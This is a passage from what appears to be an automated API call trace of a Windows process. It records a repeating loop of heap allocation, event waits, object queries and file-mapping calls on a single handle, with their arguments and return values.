Size=0x200) returned 0x107fd60 [0072.291] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.291] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.291] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.291] ResetEvent (hEvent=0x110) returned 1 [0072.291] SetEvent (hEvent=0x114) returned 1 [0072.291] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.291] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.291] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.291] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.291] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.291] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.291] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.291] ResetEvent (hEvent=0x110) returned 1 [0072.291] SetEvent (hEvent=0x114) returned 1 [0072.291] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.291] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.292] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.292] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.292] ResetEvent (hEvent=0x110) returned 1 [0072.292] SetEvent (hEvent=0x114) returned 1 [0072.292] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.292] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.292] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.292] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.292] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.292] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.292] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.292] ResetEvent (hEvent=0x110) returned 1 [0072.292] SetEvent (hEvent=0x114) returned 1 [0072.292] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.292] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.293] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.293] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.293] ResetEvent (hEvent=0x110) returned 1 [0072.293] SetEvent (hEvent=0x114) returned 1 [0072.293] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.293] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.293] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.293] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.293] ResetEvent (hEvent=0x110) returned 1 [0072.293] SetEvent (hEvent=0x114) returned 1 [0072.293] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.293] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.293] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.293] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.293] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.293] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.293] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.294] ResetEvent (hEvent=0x110) returned 1 [0072.294] SetEvent (hEvent=0x114) returned 1 [0072.294] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.294] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.294] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.294] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.294] ResetEvent (hEvent=0x110) returned 1 [0072.294] SetEvent (hEvent=0x114) returned 1 [0072.294] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.294] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.294] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.294] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.294] ResetEvent (hEvent=0x110) returned 1 [0072.294] SetEvent (hEvent=0x114) returned 1 [0072.294] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.294] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.295] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.295] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.295] ResetEvent (hEvent=0x110) returned 1 [0072.295] SetEvent (hEvent=0x114) returned 1 [0072.295] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.295] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.295] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.295] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.295] ResetEvent (hEvent=0x110) returned 1 [0072.295] SetEvent (hEvent=0x114) returned 1 [0072.295] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.295] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.295] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.295] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.295] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.295] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.296] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.296] ResetEvent (hEvent=0x110) returned 1 [0072.296] SetEvent (hEvent=0x114) returned 1 [0072.296] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.296] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.296] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.296] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.296] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.296] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.296] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.296] ResetEvent (hEvent=0x110) returned 1 [0072.296] SetEvent (hEvent=0x114) returned 1 [0072.296] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.296] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.296] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.296] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.296] ResetEvent (hEvent=0x110) returned 1 [0072.296] SetEvent (hEvent=0x114) returned 1 [0072.297] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.297] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.297] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.297] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.297] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.297] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.297] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.297] ResetEvent (hEvent=0x110) returned 1 [0072.297] SetEvent (hEvent=0x114) returned 1 [0072.297] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.297] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.297] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.297] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.297] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.297] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.297] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.297] ResetEvent (hEvent=0x110) returned 1 [0072.297] SetEvent (hEvent=0x114) returned 1 [0072.335] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.335] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.335] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.335] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.335] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.335] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.335] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.335] ResetEvent (hEvent=0x110) returned 1 [0072.335] SetEvent (hEvent=0x114) returned 1 [0072.335] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.336] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.336] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.336] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.336] ResetEvent (hEvent=0x110) returned 1 [0072.336] SetEvent (hEvent=0x114) returned 1 [0072.336] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.336] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.336] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.336] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.336] ResetEvent (hEvent=0x110) returned 1 [0072.336] SetEvent (hEvent=0x114) returned 1 [0072.336] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.336] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.336] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.336] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.336] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.337] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.337] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.337] ResetEvent (hEvent=0x110) returned 1 [0072.337] SetEvent (hEvent=0x114) returned 1 [0072.337] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.337] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.337] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.337] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.337] ResetEvent (hEvent=0x110) returned 1 [0072.337] SetEvent (hEvent=0x114) returned 1 [0072.337] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.337] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.337] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.337] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.337] ResetEvent (hEvent=0x110) returned 1 [0072.337] SetEvent (hEvent=0x114) returned 1 [0072.337] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.338] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.338] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.338] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.338] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.338] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.338] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.338] ResetEvent (hEvent=0x110) returned 1 [0072.338] SetEvent (hEvent=0x114) returned 1 [0072.338] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.338] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.338] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.338] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.338] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.338] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.338] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.338] ResetEvent (hEvent=0x110) returned 1 [0072.338] SetEvent (hEvent=0x114) returned 1 [0072.339] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.339] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.339] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.339] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.339] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.339] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.339] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.339] ResetEvent (hEvent=0x110) returned 1 [0072.339] SetEvent (hEvent=0x114) returned 1 [0072.339] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.339] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.339] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.339] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.339] ResetEvent (hEvent=0x110) returned 1 [0072.339] SetEvent (hEvent=0x114) returned 1 [0072.339] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.339] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.340] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.340] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.340] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.340] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.340] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.340] ResetEvent (hEvent=0x110) returned 1 [0072.340] SetEvent (hEvent=0x114) returned 1 [0072.340] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.340] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.340] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.340] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.340] ResetEvent (hEvent=0x110) returned 1 [0072.340] SetEvent (hEvent=0x114) returned 1 [0072.341] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.341] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.341] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.341] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.341] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.341] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.341] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.341] ResetEvent (hEvent=0x110) returned 1 [0072.341] SetEvent (hEvent=0x114) returned 1 [0072.341] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.341] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.341] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.341] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.341] ResetEvent (hEvent=0x110) returned 1 [0072.341] SetEvent (hEvent=0x114) returned 1 [0072.341] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.342] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.342] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.342] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 